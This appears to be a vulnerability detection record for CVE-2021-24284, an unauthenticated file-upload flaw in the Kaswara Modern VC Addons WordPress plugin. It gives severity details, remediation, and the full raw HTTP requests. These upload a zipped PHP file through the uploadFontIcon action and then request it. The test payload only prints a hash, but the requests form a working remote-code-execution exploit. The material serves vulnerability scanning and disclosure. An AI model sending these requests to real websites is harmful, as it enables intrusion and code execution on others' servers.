| Title | WordPress Kaswara Modern VC Addons <=3.0.1 - Arbitrary File Upload |
|---|---|
| Author | lamscun,pussycat0x,pdteam |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can result in unauthorized remote code execution on the affected WordPress website. |
| Remediation | Update to the latest version of Kaswara Modern VC Addons plugin (>=3.0.2) to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.73011 |
| CVE ID | CVE-2021-24284 |
| CWE ID | CWE-434 |
| Tags | cve2021 cve intrusive unauth fileupload wpscan wordpress wp-plugin rce wp kaswara_project vkev vuln |
WordPress Kaswara Modern VC Addons plugin through 3.0.1 is susceptible to an arbitrary file upload. The plugin allows unauthenticated arbitrary file upload via the uploadFontIcon AJAX action, which can be used to obtain code execution. The supplied zipfile is unzipped in the wp-content/uploads/kaswara/fonts_icon directory with no checks for malicious files such as PHP.
POST /wp-admin/admin-ajax.php?action=uploadFontIcon HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.16
Connection: close
Content-Length: 643
Content-Type: multipart/form-data; boundary=------------------------d3be34324392a708
Accept-Encoding: gzip
--------------------------d3be34324392a708
Content-Disposition: form-data; name="fonticonzipfile"; filename="qnsvce.zip"
Content-Type: application/octet-stream
PK
�s�T�3> xb.phpUT f��bg��bux � <?php echo md5('CVE-2021-24284');unlink(__FILE__);?>
PK
)x�T��Y �� xb.phpUT f��bux � PK L S
--------------------------d3be34324392a708
Content-Disposition: form-data; name="fontsetname"
qnsvce
--------------------------d3be34324392a708
Content-Disposition: form-data; name="action"
uploadFontIcon
--------------------------d3be34324392a708--
GET /wp-content/uploads/kaswara/fonts_icon/qnsvce/xb.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24284.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24284.pcap
N/AN/A